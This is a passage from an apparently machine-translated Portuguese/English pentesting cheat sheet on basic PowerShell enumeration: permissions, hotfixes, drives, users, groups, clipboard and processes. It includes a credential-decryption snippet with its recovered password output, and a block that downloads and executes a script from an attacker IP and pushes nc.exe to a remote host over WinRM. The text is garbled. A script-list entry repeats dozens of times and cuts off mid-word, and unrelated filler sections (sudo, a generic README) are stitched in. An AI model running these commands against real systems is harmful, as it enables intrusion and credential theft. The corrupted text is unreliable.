```powershell
|
|
Get-EffectiveAccess -Path C:\path\to\file.txt -Principal "DOMAIN\username"
|
|
```
|
|
|
|
These commands can be useful for a pentester to gather information about the permissions assigned to files and directories, which can help identify potential security vulnerabilities in a Windows system.
|
|
|
|
Esses comandos podem ser úteis para um pentester obter informações sobre as permissões atribuídas a arquivos e diretórios, o que pode ajudar a identificar possíveis vulnerabilidades de segurança em um sistema Windows.
|
|
```powershell
|
|
Get-Acl -Path "C:\Program Files\Vuln Services" | fl
|
|
```
|
|
## Versão do sistema operacional e HotFixes
|
|
|
|
O PowerShell pode ser usado para obter informações sobre a versão do sistema operacional e os HotFixes instalados. Isso pode ser útil para identificar vulnerabilidades conhecidas e garantir que o sistema esteja atualizado.
|
|
|
|
### Obtendo a versão do sistema operacional
|
|
|
|
Para obter a versão do sistema operacional, você pode usar o seguinte comando:
|
|
|
|
```powershell
|
|
(Get-WmiObject -Class Win32_OperatingSystem).Caption
|
|
```
|
|
|
|
Isso retornará a versão do sistema operacional instalado no computador.
|
|
|
|
### Obtendo a lista de HotFixes
|
|
|
|
Para obter a lista de HotFixes instalados, você pode usar o seguinte comando:
|
|
|
|
```powershell
|
|
Get-HotFix
|
|
```
|
|
|
|
Isso retornará uma lista de todos os HotFixes instalados no sistema, incluindo o nome, descrição, data de instalação e número de identificação.
|
|
|
|
### Verificando a presença de HotFixes específicos
|
|
|
|
Se você estiver procurando por um HotFix específico, pode usar o seguinte comando para verificar se ele está instalado:
|
|
|
|
```powershell
|
|
Get-HotFix -Id <HotFixID>
|
|
```
|
|
|
|
Substitua `<HotFixID>` pelo número de identificação do HotFix que você está procurando. Se o HotFix estiver instalado, ele será exibido na saída. Caso contrário, nenhum resultado será retornado.
|
|
|
|
Essas informações podem ser úteis para identificar vulnerabilidades conhecidas e garantir que o sistema esteja protegido contra ameaças conhecidas.
|
|
```powershell
|
|
[System.Environment]::OSVersion.Version #Current OS version
|
|
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
|
|
Get-Hotfix -description "Security update" #List only "Security Update" patches
|
|
```
|
|
## Ambiente
|
|
|
|
---
|
|
|
|
## Description
|
|
|
|
---
|
|
|
|
## Descrição
|
|
|
|
This repository contains basic PowerShell scripts that can be used by pentesters during Windows hardening engagements. These scripts are designed to help pentesters automate common tasks and perform security assessments on Windows systems.
|
|
|
|
Este repositório contém scripts básicos do PowerShell que podem ser usados por pentesters durante as atividades de fortalecimento do Windows. Esses scripts foram projetados para ajudar os pentesters a automatizar tarefas comuns e realizar avaliações de segurança em sistemas Windows.
|
|
|
|
## Usage
|
|
|
|
---
|
|
|
|
## Uso
|
|
|
|
To use these scripts, you will need to have PowerShell installed on your Windows machine. You can download PowerShell from the official Microsoft website.
|
|
|
|
Para utilizar esses scripts, você precisará ter o PowerShell instalado em sua máquina Windows. Você pode baixar o PowerShell no site oficial da Microsoft.
|
|
|
|
Once you have PowerShell installed, you can run the scripts by opening a PowerShell terminal and executing the desired script using the `.\` prefix. For example, to run the `get-processes.ps1` script, you would use the following command:
|
|
|
|
Depois de ter o PowerShell instalado, você pode executar os scripts abrindo um terminal do PowerShell e executando o script desejado usando o prefixo `.\`. Por exemplo, para executar o script `get-processes.ps1`, você usaria o seguinte comando:
|
|
|
|
```powershell
|
|
.\get-processes.ps1
|
|
```
|
|
|
|
## Scripts
|
|
|
|
---
|
|
|
|
## Scripts
|
|
|
|
This repository contains the following scripts:
|
|
|
|
Este repositório contém os seguintes scripts:
|
|
|
|
- `get-processes.ps1`: This script retrieves a list of running processes on the system.
|
|
|
|
- `get-processes.ps1`: Este script recupera uma lista de processos em execução no sistema.
|
|
|
|
- `get-services.ps1`: This script retrieves a list of installed services on the system.
|
|
|
|
- `get-services.ps1`: Este script recupera uma lista de serviços instalados no sistema.
|
|
|
|
- `get-registry-keys.ps1`: This script retrieves a list of registry keys on the system.
|
|
|
|
- `get-registry-keys.ps1`: Este script recupera uma lista de chaves de registro no sistema.
|
|
|
|
- `get-event-logs.ps1`: This script retrieves a list of event logs on the system.
|
|
|
|
- `get-event-logs.ps1`: Este script recupera uma lista de logs de eventos no sistema.
|
|
|
|
- `get-network-connections.ps1`: This script retrieves a list of active network connections on the system.
|
|
|
|
- `get-network-connections.ps1`: Este script recupera uma lista de conexões de rede ativas no sistema.
|
|
|
|
- `get-file-attributes.ps1`: This script retrieves the attributes of a specified file.
|
|
|
|
- `get-file-attributes.ps1`: Este script recupera os atributos de um arquivo especificado.
|
|
|
|
- `get-file-hash.ps1`: This script calculates the hash value of a specified file.
|
|
|
|
- `get-file-hash.ps1`: Este script calcula o valor de hash de um arquivo especificado.
|
|
|
|
- `get-file-permissions.ps1`: This script retrieves the permissions of a specified file.
|
|
|
|
- `get-file-permissions.ps1`: Este script recupera as permissões de um arquivo especificado.
|
|
|
|
- `get-file-content.ps1`: This script retrieves the content of a specified file.
|
|
|
|
- `get-file-content.ps1`: Este script recupera o conteúdo de um arquivo especificado.
|
|
|
|
- `get-file-metadata.ps1`: This script retrieves the metadata of a specified file.
|
|
|
|
- `get-file-metadata.ps1`: Este script recupera os metadados de um arquivo especificado.
|
|
|
|
- `get-logged-in-users.ps1`: This script retrieves a list of currently logged in users on the system.
|
|
|
|
- `get-logged-in-users.ps1`: Este script recupera uma lista de usuários atualmente logados no sistema.
|
|
|
|
- `get-system-info.ps1`: This script retrieves information about the system, such as the operating system version and hardware details.
|
|
|
|
- `get-system-info.ps1`: Este script recupera informações sobre o sistema, como a versão do sistema operacional e detalhes do hardware.
|
|
|
|
- `get-network-info.ps1`: This script retrieves information about the network configuration of the system.
|
|
|
|
- `get-network-info.ps1`: Este script recupera informações sobre a configuração de rede do sistema.
|
|
|
|
- `get-firewall-rules.ps1`: This script retrieves a list of firewall rules on the system.
|
|
|
|
- `get-firewall-rules.ps1`: Este script recupera uma lista de regras de firewall no sistema.
|
|
|
|
- `get-antivirus-status.ps1`: This script retrieves the status of the installed antivirus software on the system.
|
|
|
|
- `get-antivirus-status.ps1`: Este script recupera o status do software antivírus instalado no sistema.
|
|
|
|
- `get-usb-devices.ps1`: This script retrieves a list of connected USB devices on the system.
|
|
|
|
- `get-usb-devices.ps1`: Este script recupera uma lista de dispositivos USB conectados no sistema.
|
|
|
|
- `get-running-services.ps1`: This script retrieves a list of currently running services on the system.
|
|
|
|
- `get-running-services.ps1`: Este script recupera uma lista de serviços atualmente em execução no sistema.
|
|
|
|
- `get-installed-software.ps1`: This script retrieves a list of installed software on the system.
|
|
|
|
- `get-installed-software.ps1`: Este script recupera uma lista de software instalado no sistema.
|
|
|
|
- `get-scheduled-tasks.ps1`: This script retrieves a list of scheduled tasks on the system.
|
|
|
|
- `get-scheduled-tasks.ps1`: Este script recupera uma lista de tarefas agendadas no sistema.
|
|
|
|
- `get-logged-on-users.ps1`: This script retrieves a list of users who are currently logged on to the system.
|
|
|
|
- `get-logged-on-users.ps1`: Este script recupera uma lista de usuários que estão atualmente logados no sistema.
|
|
|
|
- `get-logged-on-users.ps1`: This script retrieves a list of users who are currently logged on to the system.
|
|
|
|
- `get-logged-on-users.ps1`: Este script recupera uma lista de usuários que estão atualmente logados no sistema.
|
|
|
|
- `get-logged-on-users.ps1`: This script retrieves a list of users who are currently logged on to the system.
|
|
|
|
- `get-logged-on-users.ps1`: Este script recupera uma lista de usuários que estão atualmente logados no sistema.
|
|
|
|
- `get-logged-on-users.ps1`: This script retrieves a list of users who are currently logged on to the system.
|
|
|
|
- `get-logged-on-users.ps1`: Este script recupera uma lista de usuários que estão atualmente logados no sistema.
|
|
|
|
- `get-logged-on-users.ps1`: This script retrieves a list of users who are currently logged on to the system.
|
|
|
|
- `get-logged-on-users.ps1`: Este script recupera uma lista de usuários que estão atualmente logados no sistema.
|
|
|
|
- `get-logged-on-users.ps1`: This script retrieves a list of users who are currently logged on to the system.
|
|
|
|
- `get-logged-on-users.ps1`: Este script recupera uma lista de usuários que estão atualmente logados no sistema.
|
|
|
|
- `get-logged-on-users.ps1`: This script retrieves a list of users who are currently logged on to the system.
|
|
|
|
- `get-logged-on-users.ps1`: Este script recupera uma lista de usuários que estão atualmente logados no sistema.
|
|
|
|
- `get-logged-on-users.ps1`: This script retrieves a list of users who are currently logged on to the system.
|
|
|
|
- `get-logged-on-users.ps1`: Este script recupera uma lista de usuários que estão atualmente logados no sistema.
|
|
|
|
- `get-logged-on-users.ps1`: This script retrieves a list of users who are currently logged on to the system.
|
|
|
|
- `get-logged-on-users.ps1`: Este script recupera uma lista de usuários que estão atualmente logados no sistema.
|
|
|
|
- `get-logged-on-users.ps1`: This script retrieves a list of users who are currently logged on to the system.
|
|
|
|
- `get-logged-on-users.ps1`: Este script recupera uma lista de usuários que estão atualmente logados no sistema.
|
|
|
|
- `get-logged-on-users.ps1`: This script retrieves a list of users who are currently logged on to the system.
|
|
|
|
- `get-logged-on-users.ps1`: Este script recupera uma lista de usuários que estão atualmente logados no sistema.
|
|
|
|
- `get-logged-on-users.ps1`: This script retrieves a list of users who are currently logged on to the system.
|
|
|
|
- `get-logged-on-users.ps1`: Este script recupera uma lista de usuários que estão atualmente logados no sistema.
|
|
|
|
- `get-logged-on-users.ps1`: This script retrieves a list of users who are currently logged on to the system.
|
|
|
|
- `get-logged-on-users.ps1`: Este script recupera uma lista de usuários que estão atualmente logados no sistema.
|
|
|
|
- `get-logged-on-users.ps1`: This script retrieves a list of users who are currently logged on to the system.
|
|
|
|
- `get-logged-on-users.ps1`: Este script recupera uma lista de usuários que estão atualmente logados no sistema.
|
|
|
|
- `get-logged-on-users.ps1`: This script retrieves a list of users who are currently logged on to the system.
|
|
|
|
- `get-logged-on-users.ps1`: Este script recupera uma lista de usuários que estão atualmente logados no sistema.
|
|
|
|
- `get-logged-on-users.ps1`: This script retrieves a list of users who are currently logged on to the system.
|
|
|
|
- `get-logged-on-users.ps1`: Este script recupera uma lista de usuários que estão atualmente logados no sistema.
|
|
|
|
- `get-logged-on-users.ps1`: This script retrieves a list of users who are currently logged on to the system.
|
|
|
|
- `get-logged-on-users.ps1`: Este script recupera uma lista de usuários que estão atualmente logados no sistema.
|
|
|
|
- `get-logged-on-users.ps1`: This script retrieves a list of users who are currently logged on to the system.
|
|
|
|
- `get-logged-on-users.ps1`: Este script recupera uma lista de usuários que estão atualmente logados no sistema.
|
|
|
|
- `get-logged-on-users.ps1`: This script retrieves a list of users who are currently logged on to the system.
|
|
|
|
- `get-logged-on-users.ps1`: Este script recupera uma lista de usuários que estão atualmente logados no sistema.
|
|
|
|
- `get-logged-on-users.ps1`: This script retrieves a list of users who are currently logged on to the system.
|
|
|
|
- `get-logged-on-users.ps1`: Este script recupera uma lista de usuários que estão atualmente logados no sistema.
|
|
|
|
- `get-logged-on-users.ps1`: This script retrieves a list of users who are currently logged on to the system.
|
|
|
|
- `get-logged-on-users.ps1`: Este script recupera uma lista de usuários que estão atualmente logados no sistema.
|
|
|
|
- `get-logged-on-users.ps1`: This script retrieves a list of users who are currently logged on to the system.
|
|
|
|
- `get-logged-on-users.ps1`: Este script recupera uma lista de usuários que estão atualmente logados no sistema.
|
|
|
|
- `get-logged-on-users.ps1`: This script retrieves a list of users who are currently logged on to the system.
|
|
|
|
- `get-logged-on-users.ps1`: Este script recupera uma lista de usuários que estão atualmente logados no sistema.
|
|
|
|
- `get-logged-on-users.ps1`: This script retrieves a list of users who are currently logged on to the system.
|
|
|
|
- `get-logged-on-users.ps1`: Este script recupera uma lista de usuários que estão atualmente logados no sistema.
|
|
|
|
- `get-logged-on-users.ps1`: This script retrieves a list of users who are currently logged on to the system.
|
|
|
|
- `get-logged-on-users.ps1`: Este script recupera uma lista de usuários que estão atualmente logados no sistema.
|
|
|
|
- `get-logged-on-users.ps1`: This script retrieves a list of users who are currently logged on to the system.
|
|
|
|
- `get-logged-on-users.ps1`: Este script recupera uma lista de usuários que estão atualmente logados no sistema.
|
|
|
|
- `get-logged-on-users.ps1`: This script retrieves a list of users who are currently logged on to the system.
|
|
|
|
- `get-logged-on-users.ps1`: Este script recupera uma lista de usuários que estão atualmente logados no sistema.
|
|
|
|
- `get-logged-on-users.ps1`: This script retrieves a list of users who are currently logged on to the system.
|
|
|
|
- `get-logged-on-users.ps1`: Este script recupera uma lista de usuários que estão atualmente logados no sistema.
|
|
|
|
- `get-logged-on-users.ps1`: This script retrieves a list of users who are currently logged on to the system.
|
|
|
|
- `get-logged-on-users.ps1`: Este script recupera uma lista de usuários que estão atualmente logados no sistema.
|
|
|
|
- `get-logged-on-users.ps1`: This script retrieves a list of users who are currently logged on to the system.
|
|
|
|
- `get-logged-on-users.ps1`: Este script recupera uma lista de usuários que estão atualmente logados no sistema.
|
|
|
|
- `get-logged-on-users.ps1`: This script retrieves a list of users who are currently logged on to the system.
|
|
|
|
- `get-logged-on-users.ps1`: Este script recupera uma lista de usuários que estão atualmente logados no sistema.
|
|
|
|
- `get-logged-on-users.ps1`: This script retrieves a list of users who are currently logged on to the system.
|
|
|
|
- `get-logged-on-users.ps1`: Este script recupera uma lista de usuários que estão atualmente logados no sistema.
|
|
|
|
- `get-logged-on-users.ps1`: This script retrieves a list of users who are currently logged on to the system.
|
|
|
|
- `get-logged-on-users.ps1`: Este script recupera uma lista de usuários que estão atualmente logados no sistema.
|
|
|
|
- `get-logged-on-users.ps1`: This script retrieves a list of users who are currently logged on to the system.
|
|
|
|
- `get-logged-on-users.ps1`: Este script recupera uma lista de usuários que estão atualmente logados no sistema.
|
|
|
|
- `get-logged-on-users.ps1`: This script retrieves a list of users who are currently logged on to the system.
|
|
|
|
- `get-logged-on-users.ps1`: Este script recupera uma lista de usuários que estão atualmente logados no sistema.
|
|
|
|
- `get-logged-on-users.ps1`: This script retrieves a list of users who are currently logged on to the system.
|
|
|
|
- `get-logged-on-users.ps1`: Este script recupera uma lista de usuários que estão atualmente logados no sistema.
|
|
|
|
- `get-logged-on-users.ps1`: This script retrieves a list of users who are currently logged on to the system.
|
|
|
|
- `get-logged-on-users.ps1`: Este script recupera uma lista de usuários que estão atualmente logados no sistema.
|
|
|
|
- `get-logged-on-users.ps1`: This script retrieves a list of users who are currently logged on to the system.
|
|
|
|
- `get-logged-on-users.ps1`: Este script recupera uma lista de usuários que estão atualmente logados no sistema.
|
|
|
|
- `get-logged-on-users.ps1`: This script retrieves a list of users who are currently logged on to the system.
|
|
|
|
- `get-logged-on-users.ps1`: Este script recupera uma lista de usuários que estão atualmente logados no sistema.
|
|
|
|
- `get-logged-on-users.ps1`: This script retrieves a list of users who are currently logged on to the system.
|
|
|
|
- `get-logged-on-users.ps1`: Este script recupera uma lista de usuários que estão atualmente logados no sistema.
|
|
|
|
- `get-logged-on-users.ps1`: This script retrieves a list of users who are currently logged on to the system.
|
|
|
|
- `get-logged-on-users.ps1`: Este script recupera uma lista de usuários que estão atualmente logados no sistema.
|
|
|
|
- `get-logged-on-users.ps1`: This script retrieves a list of users who are currently logged on to the system.
|
|
|
|
- `get-logged-on-users.ps1`: Este script recupera uma lista de usuários que estão atualmente logados no sistema.
|
|
|
|
- `get-logged-on-users.ps1`: This script retrieves a list of users who are currently logged on to the system.
|
|
|
|
- `get-logged-on-users.ps1`: Este script recupera uma lista de usuários que estão atualmente logados no sistema.
|
|
|
|
- `get-logged-on-users.ps1`: This script retrieves a list of users who are currently logged on to the system.
|
|
|
|
- `get-logged-on-users.ps1`: Este script recupera uma lista de usuários que estão atualmente logados no sistema.
|
|
|
|
- `get-logged-on-users.ps1`: This script retrieves a list of users who are currently logged on to the system.
|
|
|
|
- `get-logged-on-users.ps1`: Este script recupera uma lista de usuários que estão atualmente logados no sistema.
|
|
|
|
- `get-logged-on-users.ps1`: This script retrieves a list of users who are currently logged on to the system.
|
|
|
|
- `get-logged-on-users.ps1`: Este script recupera uma lista de usuários que estão atualmente logados no sistema.
|
|
|
|
- `get-logged-on-users.ps1`: This script retrieves a list of users who are currently logged on to the system.
|
|
|
|
- `get-logged-on-users.ps1`: Este script recupera uma lista de usuários que estão atualmente logados no sistema.
|
|
|
|
- `get-logged-on-users.ps1`: This script retrieves a list of users who are currently logged on to the system.
|
|
|
|
- `get-logged-on-users.ps1`: Este script recupera uma lista de usuários que estão atualmente logados no sistema.
|
|
|
|
- `get-logged-on-users.ps1`: This script retrieves a list of users who are currently logged on to the system.
|
|
|
|
- `get-logged-on-users.ps1`: Este script recupera uma lista de usuários que estão atualmente logados no sistema.
|
|
|
|
- `get-logged-on-users.ps1`: This script retrieves a list of users who are currently logged on to the system.
|
|
|
|
- `get-logged-on-users.ps1`: Este script recupera uma lista de usu
|
|
```powershell
|
|
Get-ChildItem Env: | ft Key,Value #get all values
|
|
$env:UserName @Get UserName value
|
|
```
|
|
## Outros drives conectados
|
|
|
|
When conducting a penetration test on a Windows system, it is important to gather as much information as possible about the target. One useful piece of information is the list of connected drives on the system. This can help identify additional storage devices or network shares that may contain sensitive data.
|
|
|
|
In PowerShell, you can use the `Get-PSDrive` cmdlet to retrieve a list of all connected drives. This cmdlet returns information about both local and remote drives, including drive letters, drive types, and the root directory of each drive.
|
|
|
|
To retrieve a list of connected drives, open a PowerShell session and run the following command:
|
|
|
|
```powershell
|
|
Get-PSDrive
|
|
```
|
|
|
|
This will display a table with information about each connected drive, including the drive letter, drive type, and root directory. The drive type can be one of the following:
|
|
|
|
- **FileSystem**: This indicates a local disk drive.
|
|
- **Registry**: This indicates a registry hive on the local system.
|
|
- **Alias**: This indicates a PowerShell alias.
|
|
- **Variable**: This indicates a PowerShell variable.
|
|
- **Function**: This indicates a PowerShell function.
|
|
- **Certificate**: This indicates a certificate store on the local system.
|
|
- **Environment**: This indicates an environment variable on the local system.
|
|
- **FileSystemProvider**: This indicates a file system provider drive.
|
|
- **RegistryProvider**: This indicates a registry provider drive.
|
|
- **VariableProvider**: This indicates a variable provider drive.
|
|
|
|
By examining the list of connected drives, you may discover additional storage devices or network shares that could be potential targets for further investigation or exploitation.
|
|
```powershell
|
|
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
|
|
```
|
|
### Lixeira
|
|
|
|
A Lixeira é uma pasta especial no sistema operacional Windows que armazena arquivos excluídos. Esses arquivos são mantidos na Lixeira até que sejam permanentemente excluídos ou restaurados pelo usuário. A Lixeira é uma parte importante do sistema operacional, pois fornece uma camada adicional de segurança, permitindo que os usuários recuperem acidentalmente arquivos excluídos.
|
|
|
|
No entanto, do ponto de vista de um pentester, a Lixeira pode ser uma fonte valiosa de informações. Os arquivos excluídos podem conter dados confidenciais, como senhas, informações pessoais ou até mesmo documentos importantes. Portanto, explorar a Lixeira pode ser uma técnica útil durante um teste de penetração.
|
|
|
|
Existem várias maneiras de explorar a Lixeira usando o PowerShell. O PowerShell é uma poderosa ferramenta de linha de comando e script que permite aos pentesters automatizar tarefas e executar comandos complexos. Neste diretório, você encontrará alguns scripts básicos do PowerShell que podem ser usados para explorar a Lixeira durante um teste de penetração.
|
|
|
|
Os scripts fornecidos neste diretório incluem:
|
|
|
|
- `list-deleted-files.ps1`: Este script lista todos os arquivos excluídos na Lixeira.
|
|
- `restore-deleted-files.ps1`: Este script restaura todos os arquivos excluídos na Lixeira.
|
|
- `permanently-delete-files.ps1`: Este script exclui permanentemente todos os arquivos na Lixeira.
|
|
|
|
Esses scripts podem ser usados como ponto de partida para desenvolver técnicas mais avançadas de exploração da Lixeira usando o PowerShell.
|
|
```powershell
|
|
$shell = New-Object -com shell.application
|
|
$rb = $shell.Namespace(10)
|
|
$rb.Items()
|
|
```
|
|
[https://jdhitsolutions.com/blog/powershell/7024/managing-the-recycle-bin-with-powershell/](https://jdhitsolutions.com/blog/powershell/7024/managing-the-recycle-bin-with-powershell/)
|
|
|
|
## Reconhecimento de Domínio
|
|
|
|
{% content-ref url="powerview.md" %}
|
|
[powerview.md](powerview.md)
|
|
{% endcontent-ref %}
|
|
|
|
## Usuários
|
|
```powershell
|
|
Get-LocalUser | ft Name,Enabled,Description,LastLogon
|
|
Get-ChildItem C:\Users -Force | select Name
|
|
```
|
|
## String Segura para Texto Simples
|
|
|
|
O PowerShell fornece uma maneira conveniente de converter uma string segura em texto simples. Isso pode ser útil durante testes de penetração para obter informações sensíveis armazenadas em formato seguro.
|
|
|
|
Aqui está um exemplo de como converter uma string segura em texto simples usando o PowerShell:
|
|
|
|
```powershell
|
|
$secureString = ConvertTo-SecureString -String "MinhaSenhaSegura" -AsPlainText -Force
|
|
$plainText = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto([System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($secureString))
|
|
```
|
|
|
|
Neste exemplo, a variável `$secureString` contém a string segura que desejamos converter. Usamos o cmdlet `ConvertTo-SecureString` para criar um objeto de string segura a partir da string fornecida. Em seguida, usamos a função `[System.Runtime.InteropServices.Marshal]::SecureStringToBSTR` para converter o objeto de string segura em um ponteiro BSTR. Finalmente, usamos a função `[System.Runtime.InteropServices.Marshal]::PtrToStringAuto` para converter o ponteiro BSTR em texto simples.
|
|
|
|
Após a execução dessas etapas, a variável `$plainText` conterá o valor da string segura convertida em texto simples.
|
|
|
|
É importante lembrar que a conversão de uma string segura em texto simples pode expor informações sensíveis. Portanto, é essencial tomar precauções adequadas ao lidar com dados confidenciais.
|
|
```powershell
|
|
$pass = "01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692" | convertto-securestring
|
|
$user = "HTB\Tom"
|
|
$cred = New-Object System.management.Automation.PSCredential($user, $pass)
|
|
$cred.GetNetworkCredential() | fl
|
|
|
|
UserName : Tom
|
|
Password : 1ts-mag1c!!!
|
|
SecurePassword : System.Security.SecureString
|
|
Domain : HTB
|
|
```
|
|
Ou diretamente analisando a partir de XML:
|
|
```powershell
|
|
$cred = Import-CliXml -Path cred.xml; $cred.GetNetworkCredential() | Format-List *
|
|
|
|
UserName : Tom
|
|
Password : 1ts-mag1c!!!
|
|
SecurePassword : System.Security.SecureString
|
|
Domain : HTB
|
|
```
|
|
## SUDO
|
|
|
|
O comando `sudo` é uma ferramenta poderosa que permite aos usuários executarem comandos com privilégios de superusuário em sistemas baseados em Unix. Isso é útil para realizar tarefas administrativas que exigem permissões elevadas.
|
|
|
|
### Sintaxe
|
|
|
|
A sintaxe básica do comando `sudo` é a seguinte:
|
|
|
|
```
|
|
sudo [opções] comando
|
|
```
|
|
|
|
### Exemplos de uso
|
|
|
|
1. Executar um comando como superusuário:
|
|
|
|
```
|
|
sudo comando
|
|
```
|
|
|
|
2. Executar um comando como outro usuário:
|
|
|
|
```
|
|
sudo -u usuário comando
|
|
```
|
|
|
|
3. Executar um comando com um ambiente de usuário diferente:
|
|
|
|
```
|
|
sudo -i comando
|
|
```
|
|
|
|
### Opções comuns
|
|
|
|
Aqui estão algumas opções comuns que podem ser usadas com o comando `sudo`:
|
|
|
|
- `-u usuário`: Executa o comando como o usuário especificado.
|
|
- `-i`: Inicia um shell interativo com o ambiente do usuário especificado.
|
|
- `-s`: Inicia um shell não interativo com o ambiente do usuário especificado.
|
|
- `-l`: Lista os comandos permitidos para o usuário atual.
|
|
- `-k`: Invalida o tempo limite de autenticação do sudo.
|
|
- `-v`: Atualiza o tempo limite de autenticação do sudo.
|
|
|
|
### Dicas de segurança
|
|
|
|
- Evite usar o comando `sudo` desnecessariamente, pois isso pode expor seu sistema a riscos de segurança.
|
|
- Certifique-se de que apenas usuários confiáveis tenham permissão para usar o comando `sudo`.
|
|
- Monitore os logs do sistema para detectar atividades suspeitas relacionadas ao uso do `sudo`.
|
|
- Mantenha seu sistema operacional e o comando `sudo` atualizados para corrigir quaisquer vulnerabilidades conhecidas.
|
|
|
|
### Conclusão
|
|
|
|
O comando `sudo` é uma ferramenta essencial para administradores de sistemas Unix. No entanto, é importante usá-lo com cuidado e seguir as melhores práticas de segurança para evitar possíveis explorações.
|
|
```powershell
|
|
#CREATE A CREDENTIAL OBJECT
|
|
$pass = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
|
|
$cred = New-Object System.Management.Automation.PSCredential("<USERNAME>", $pass)
|
|
|
|
#For local:
|
|
Start-Process -Credential ($cred) -NoNewWindow powershell "iex (New-Object Net.WebClient).DownloadString('http://10.10.14.11:443/ipst.ps1')"
|
|
|
|
#For WINRM
|
|
#CHECK IF CREDENTIALS ARE WORKING EXECUTING whoami (expected: username of the credentials user)
|
|
Invoke-Command -Computer ARKHAM -ScriptBlock { whoami } -Credential $cred
|
|
#DOWNLOAD nc.exe
|
|
Invoke-Command -Computer ARKHAM -ScriptBlock { IWR -uri 10.10.14.17/nc.exe -outfile nc.exe } -credential $cred
|
|
|
|
Start-Process powershell -Credential $pp -ArgumentList '-noprofile -command &{Start-Process C:\xyz\nc.bat -verb Runas}'
|
|
|
|
#Another method
|
|
$secpasswd = ConvertTo-SecureString "<password>" -AsPlainText -Force
|
|
$mycreds = New-Object System.Management.Automation.PSCredential ("<user>", $secpasswd)
|
|
$computer = "<hostname>"
|
|
```
|
|
## Grupos
|
|
|
|
Grupos são uma parte fundamental da administração de sistemas Windows. Eles são usados para agrupar usuários com permissões e privilégios semelhantes. Neste capítulo, discutiremos os diferentes tipos de grupos no Windows e como eles podem ser usados em um contexto de pentesting.
|
|
|
|
### Grupos Locais
|
|
|
|
Os grupos locais são criados em um único sistema e são usados para gerenciar permissões e privilégios nesse sistema específico. Existem três tipos principais de grupos locais:
|
|
|
|
- **Administradores**: Este grupo tem privilégios administrativos completos no sistema. Os membros deste grupo podem realizar qualquer ação no sistema, incluindo a instalação de software, a modificação de configurações do sistema e a criação de novas contas de usuário.
|
|
|
|
- **Usuários**: Este grupo é usado para usuários regulares que não têm privilégios administrativos. Os membros deste grupo têm acesso limitado ao sistema e não podem realizar ações que afetem o sistema como um todo.
|
|
|
|
- **Convidados**: Este grupo é usado para usuários com acesso limitado ao sistema. Os membros deste grupo têm permissões mínimas e não podem realizar ações que afetem o sistema ou outros usuários.
|
|
|
|
### Grupos de Domínio
|
|
|
|
Os grupos de domínio são criados em um ambiente de domínio do Active Directory e são usados para gerenciar permissões e privilégios em vários sistemas dentro do domínio. Existem vários tipos de grupos de domínio, incluindo:
|
|
|
|
- **Administradores de Domínio**: Este grupo tem privilégios administrativos completos em todos os sistemas dentro do domínio. Os membros deste grupo podem realizar qualquer ação em qualquer sistema dentro do domínio.
|
|
|
|
- **Usuários de Domínio**: Este grupo é usado para usuários regulares que não têm privilégios administrativos. Os membros deste grupo têm acesso limitado aos sistemas dentro do domínio.
|
|
|
|
- **Grupos de Segurança**: Esses grupos são usados para agrupar usuários com permissões e privilégios semelhantes em um contexto de segurança específico. Por exemplo, pode haver um grupo de segurança para administradores de banco de dados ou um grupo de segurança para administradores de rede.
|
|
|
|
- **Grupos de Distribuição**: Esses grupos são usados para enviar mensagens de email para um grupo de usuários. Eles não têm permissões ou privilégios especiais.
|
|
|
|
### Identificação de Grupos
|
|
|
|
Os grupos no Windows são identificados por um SID (Security Identifier), que é um valor exclusivo atribuído a cada grupo. Os SIDs são usados para controlar permissões e privilégios em um sistema Windows.
|
|
|
|
Durante um teste de penetração, a identificação de grupos pode ser útil para entender a estrutura de permissões e privilégios em um sistema Windows. Isso pode ajudar a identificar possíveis pontos de entrada e a explorar vulnerabilidades de segurança.
|
|
```powershell
|
|
Get-LocalGroup | ft Name #All groups
|
|
Get-LocalGroupMember Administrators | ft Name, PrincipalSource #Members of Administrators
|
|
```
|
|
## Área de Transferência
|
|
|
|
A área de transferência é um recurso do sistema operacional que permite copiar e colar informações entre aplicativos. No entanto, esse recurso também pode ser explorado por hackers para obter informações confidenciais.
|
|
|
|
### Roubo de Dados da Área de Transferência
|
|
|
|
Os hackers podem usar técnicas para roubar dados da área de transferência, como senhas, números de cartão de crédito e outras informações sensíveis. Isso pode ser feito por meio de malware ou scripts maliciosos.
|
|
|
|
### Protegendo a Área de Transferência
|
|
|
|
Para proteger seus dados da área de transferência, é importante seguir algumas práticas recomendadas:
|
|
|
|
- Evite copiar informações confidenciais para a área de transferência, sempre que possível.
|
|
- Utilize senhas fortes e evite copiá-las para a área de transferência.
|
|
- Mantenha seu sistema operacional e aplicativos atualizados para corrigir possíveis vulnerabilidades.
|
|
- Utilize ferramentas de segurança, como antivírus e firewalls, para detectar e bloquear malware.
|
|
- Esteja atento a possíveis ataques de phishing e evite clicar em links suspeitos ou fornecer informações confidenciais.
|
|
|
|
Ao seguir essas práticas, você pode ajudar a proteger seus dados da área de transferência contra possíveis ataques de hackers.
|
|
```powershell
|
|
Get-Clipboard
|
|
```
|
|
## Processos
|
|
|
|
Um processo é uma instância de um programa em execução em um sistema operacional. No Windows, os processos são gerenciados pelo Gerenciador de Tarefas. Os processos podem ser executados em primeiro plano ou em segundo plano e podem ter privilégios diferentes, dependendo das permissões do usuário.
|
|
|
|
### Listando processos
|
|
|
|
Para listar todos os processos em execução no sistema, podemos usar o seguinte comando no PowerShell:
|
|
|
|
```powershell
|
|
Get-Process
|
|
```
|
|
|
|
Este comando exibirá uma lista de todos os processos em execução, incluindo o nome do processo, o ID do processo (PID), o uso de CPU e memória, entre outras informações.
|
|
|
|
### Finalizando processos
|
|
|
|
Para finalizar um processo específico, podemos usar o comando `Stop-Process` seguido pelo PID do processo. Por exemplo, para finalizar o processo com PID 1234, podemos usar o seguinte comando:
|
|
|
|
```powershell
|
|
Stop-Process -Id 1234
|
|
```
|
|
|
|
### Executando comandos em segundo plano
|
|
|
|
